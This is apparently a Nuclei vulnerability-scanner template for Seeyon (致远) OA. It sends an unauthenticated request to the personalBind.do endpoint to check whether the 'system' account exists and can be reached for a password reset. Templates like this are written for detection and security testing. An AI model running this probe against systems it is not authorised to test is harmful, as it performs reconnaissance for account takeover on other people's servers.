致远

id: zhiyuan_passReset

info:
  name: zhiyuan_passReset
  author: BY
  severity: medium
  tags: zhiyuan

requests:
  - raw:
      - |
        GET /seeyon/personalBind.do?method=getBindTypeByLoginName&loginName=system HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0
        Accept: */*
        Accept-Encoding: gzip, deflate
        Connection: close

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - "true"
          - "memberIsExist"
        condition: and